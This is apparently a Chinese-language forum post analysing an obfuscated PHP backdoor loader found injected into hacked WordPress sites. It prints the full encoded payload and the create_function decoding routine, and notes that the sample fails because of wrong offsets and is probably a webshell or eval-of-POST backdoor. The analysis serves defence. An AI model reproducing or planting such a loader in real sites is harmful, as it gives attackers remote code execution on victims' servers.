有人看到这个代码了吗?(注入脚本）

代码不起作用。我在被黑客入侵的WordPress网站上看到过很多这样的例子。这与3-4年前我经常看到的旧代码相似。可能是远程代码注入（允许他们运行POST请求中发送的任意PHP代码

由于用于从$ghacbiaz中提取函数名称的偏移量是错误的，因此会导致：

PHP Fatal error:  Call to undefined function fpg)%   () in ...

根据经验，如果你找到了其中一个，还有更多。这种类型的代码可能会被注入到站点中的许多文件中。

编辑：我记得过去发现了很多这样的样本，分析了一些，也发现它们解密错误。

这就是代码的样子（但不起作用，因为混淆的代码与解密不一致：

$ghacbiaz = '27id%6<  x7fw6*  x7f_*#ujojRk3`{666~6<&w6<   x24]25  x24-    x24-!%  x24-    x24*!|! xtr_split("%tjw!>!#]y84]275]y83]248]y83]256]y81g}k~~9{d%:osvufs:~928>>  x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439274Ypp3)%cB%iN}#-! x24/%tmw/   x24)%c*W%eN+#Qi x5rn chr(ord($n)-1);} @error_reporting(0); $de:4:|:**#ppde#)tutjyf`4    x223}!+!<+{e%1]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]234]QeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44ec:649#neb#-*f%)sfxpmpusut)tp%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTjA)qj3hopmA    x273qj%6<*Y%)fnbozcYufhA    x272qj%6<^#ztmbg!osvufs!|ftmf!~<**9.-jt0}Z;0]=]0#)2q%l}S;2-u%!SV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>Uudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<fALS["    x61 156 x75 156 x61"]=1; $uas=strtolower($_SERVER[*9!   x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f7-2qj%7-K)udfoopdXA    x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfs!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO   x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3oluxlxrn = $ukqjmyx("", $qcmcwdj); $luxlxrn();}}f>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>*   x7f_*#[k2`{6:!}7;!}6;##}C;!>>!%b:>1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%bs    x5csboe))1/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]4fu    x27k:!ftmf!}Z;^nbsbq%   x5cSFX)!gjZ<#opo#>b%!**X)ufttj  x22)gj!|!*nb& (!isset($GLOBALS["    x61 156 x75 156 x61"])))) { $GLOB-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_   x5c}X   x24<!%%)3of:opjudovg<~  x24<!%o:!>! x242178!2p%Z<^2 x5c2b%!>!2p%t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!|!*5!  x27!hmg%)!gj!|!*%epnbss-%rxW~!Ypp2)%zB%fvr# x5cq%7**^#zsfvr#    x5cq%)ufttj x22)gj6<^#Y#    x5`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR   x27tfs}527}88:}334}472  x24<!%ff2!>!bssbz)5ttfsqnpdov{h19275j{hnpd192754]D6#<%G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]5-#}+;%-qp%)54l} x27;%!<*#}_;#)3 x41 107 x45 116 x54"]); if ((strstr($uas,"  x6d 163 x69 145"3zbek!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>-  x24!>!fyqmpef)# x24*<!%t::!>!   x2qcmcwdj = implode(array_map("gfvevvm",scq%    x27Y%6<.msv`ftsbqA7>q%6<    x7fw6*  x7f_*#fubfsdXk5`{66~6<&w6<  x7fw6-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)4/%tjw/   x24)%   x24-    x24y4   x24-    x24]y8  if((function_exists("   x6f 142 x5f 163 x74 141 x72 164") &z)#]341]88M4P8]37]278]225]2bubE{h%)tpqsut>j%!*72!    x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!2!>#p#/#p#/%z<jg!)%z>>2*!x24*<!~!    x24/%t2w/   x24)##-!#~<#/%  x24}#QwTW%hIr   x5c1^-%r    x5c2^-%hOh/#00#W~!%t2w)) or (strstr($uas,"  x72 16c1^W%c!>!%i   x5c2^<!Ce*[!%cIj},;osvufs}  x27;mnui}&Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P]265]y72]254]y76#<!%w:!>!(%w:!>!    x246767~6<Cw6<pd%w6Z6<.5`hA x27pd%6<:>1<!fmtf!%b:>%s:   x5c%j:.2^,%b:<!%c:>%s:  x5c%j:^<!%w`41]334]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]38;zepc}A;~!}    x7f;!|!}{;)gj}l;33b6<.fmjgA x27doj%6<   x7fw6*  x7f_*#fmjgk4sbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbc    x7f!|!*uy*CW&)7gj6<*doj%7-C)fepmqnjA    x27&%ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<")));$sfvr# x5cq%7/7#@#7/7^#iubq#   x5cq%   x27jsv%6<C>^#zs>n%<#372]58y]472]37y]672]48y]#>s%<#462]47y]252]18y]#>q%#!/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)f75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#6  x3a 61  x31"))) { $ukqjmyx = "  x63 162 x65 141 x74 1jsv%7UFH#  x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**1924-  x24 x5c%j^  x24-    x24tvctus)% x24-7-K)fujsxX6<#o]o]Y%7;utpI1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!kVx{**#k#)tutjyf`x   x22l:!}V;3q%}U;y]}R;2]<#762]67y]562]38y]572]48y]#>m%:|:*r%:-t4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>>    x22!ftmbg)R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!} x231M6]y3e]81#/#7e:55946-tr.984:    x24b!>!%yy)#}#-#    x24-    x24-tusqpt)%z-#:#*  x24-    x24!>!  x2%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~<pd%w6Z6<.4`hA    x27pd%6<pd%w6Z6<.3`hA   x27pd%6<pd%w6Z6<"   x48 124 x54 120 x5f 125 x53 105 x52 1375Ld]55#*<%bG9}:}.}-}!#*<%nfd>%f}W;utpi}Y;tuofuopd`uff_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)32tmw!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]273]y76]2<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j4-   x24y7   x24-    x24*<!  x24-    x24gps)%WSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#52]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>! x2400~:<h56+99386c6f+9f5d816:+f./#@#/qp%>5h%!<*::::::-111112)eobsx27{ftmfV  x7f<*X&Z&S{ftmfV    x7f<*XAZAz>!    x24/%tmw/   x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rNV;hojepdoF.uofuopD#)sfebfI{*w%).%!<***f    x27,*e  x27,*d  x27,*c  x27,*b  x27)fepdof.)fepdo   x7fw6*CW&)7gj6<.[A  x27&6<  x7fw6#:>:h%:<#64y]552]e7y]#fubmgoj{h1:|:*mmvo:>:iuhofm%:-5pp7;!>>>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>>  x22!pd%)!gj}Z;h!opj<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopo66~67<&w6<*&7-#o]s]o]s]#)fepmqyf   x27*&7-n%)23ldfid>}&;!osvufs}   x7f;!opjudov45  x5f 146 x75 156 x63 164 x69x24- x24]26  x24-    x24<%j,,*!| x24-    x24gvodujpo!    x2q}k;opjudovg}x;0]=])0#)U! x27{**u%-#j%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!fwbm)%tjw)bssbz)#P#-#Q#-#{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudov.2`hA   x27pd%6<C   x27pd%6|6.7eu{  157 x6e"; function gfvevvm($n){retu7]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<#3,j%>j%!*3!    x27!hmg%!)!gj!<2,*j%!-#1]#-epmqnj!/!#0#)idubn`hfsq)!sp!*#ojh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}342]58]24]31#-%tdz*Wsfuvso!%bsutjm6<    x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111g   x22)!gj}1~!<2p% x7f!~!<##!>!gj<*#k#)usbut`cpV   x7f x7f x7f x7f<u%V dXA x27K6<  x7fw6*3qj%7>    x2272qj%)7gj6<**2qj%)hopm3q#7>/7rfs%6<#o]1/20QUUI7127-K)ebfsX   x27u%)7fmjix6<C x27&6<*rfs%qssutRe%)Rd%)Rb%))!gj!<*#cd2bgej>1<%j=tj{fpg)%   x24-    OBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR   x)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#dy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtp-s.973:8297f:5297e:56-xr.985:52985-  x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%wwsTrREvxNoiTCnuf_EtaerCxECalPer_Rtsjnauhuwim';
$eqeosz = explode('x', $ghacbiaz); //substr($ghacbiaz, (38801 - 32924), (221 - 187)));
$npljogw = 'create_function';//$eqeosz[0]($eqeosz[(5 - 4)]);
$yyhtlq = 'str_replace'; //$eqeosz[0]($eqeosz[(6 - 4)]);
if (! function_exists('lmnuklsld')) {
    function lmnuklsld($zvtcgxlvy, $ncmclvjy, $ocpapj)
    {
        $owfkdynb = NULL;
        for ($yxbwhrs = 0; $yxbwhrs < (sizeof($zvtcgxlvy) / 2); $yxbwhrs ++) {
            $owfkdynb .= substr($ncmclvjy, $zvtcgxlvy[($yxbwhrs * 2)], $zvtcgxlvy[($yxbwhrs * 2) + (7 - 6)]);
        }
        $code = $ocpapj("'x09", '''', $owfkdynb);
        return $code;
    }
    ;
}
$smkwpyx = explode(chr((230 - 186)), '2305,57,1344,54,676,56,3902,41,1977,60,2559,27,3280,53,4884,30,5131,36,228,42,2108,39,74,46,2669,69,3850,52,5101,30,4809,43,5371,51,5564,39,3414,25,5541,23,3333,45,821,65,5490,51,488,49,3061,49,1726,49,2147,68,2975,32,2879,38,1775,62,449,39,5655,35,0,40,4602,32,1039,32,3974,21,5308,33,3667,60,4689,66,631,45,537,26,3813,37,5237,39,2389,66,732,39,1641,62,3439,42,4173,62,5059,42,5422,29,1483,21,886,68,1001,38,4548,54,4395,35,1187,47,3165,67,5276,32,427,22,5603,31,4374,21,1542,34,3995,68,2037,37,1306,38,2917,58,1276,30,4269,39,1946,31,4852,32,120,63,1872,29,4656,33,270,38,3598,69,5451,39,4430,36,587,44,4755,54,4517,31,3481,41,2614,21,2848,31,4963,37,563,24,1398,49,4063,54,4308,66,1234,42,5167,70,4634,22,3110,55,3522,39,1447,36,1837,35,40,34,3378,36,3757,56,2268,37,4914,49,4235,34,5634,21,2480,37,2074,34,183,45,2586,28,377,50,2215,53,1703,23,4466,51,2517,42,5690,51,771,50,5800,35,1504,38,3727,30,3232,48,4117,56,3561,37,2635,34,1901,45,3943,31,5741,59,2362,27,2791,57,308,69,5341,30,1124,63,1071,53,2738,53,5835,42,2455,25,5000,59,1576,65,3007,54,954,47');
$upzdjxxg = $npljogw("", lmnuklsld($smkwpyx, $ghacbiaz, $yyhtlq));
$npljogw = $ghacbiaz;
$upzdjxxg("");
$upzdjxxg = (413 - 292);
$ghacbiaz = $upzdjxxg - 1;

它创建的函数lmnuklsld将从$ghacbiaz中创建可执行代码，然后执行它，但它返回垃圾。

最有可能的是，模糊代码的功能要么是一个webshell，要么是对远程发送的代码调用eval()的简单代码，例如，他们用$_POST['some_code'] = 'malicious php code here';调用脚本，然后将其传递给eval，基本上允许他们做各种事情。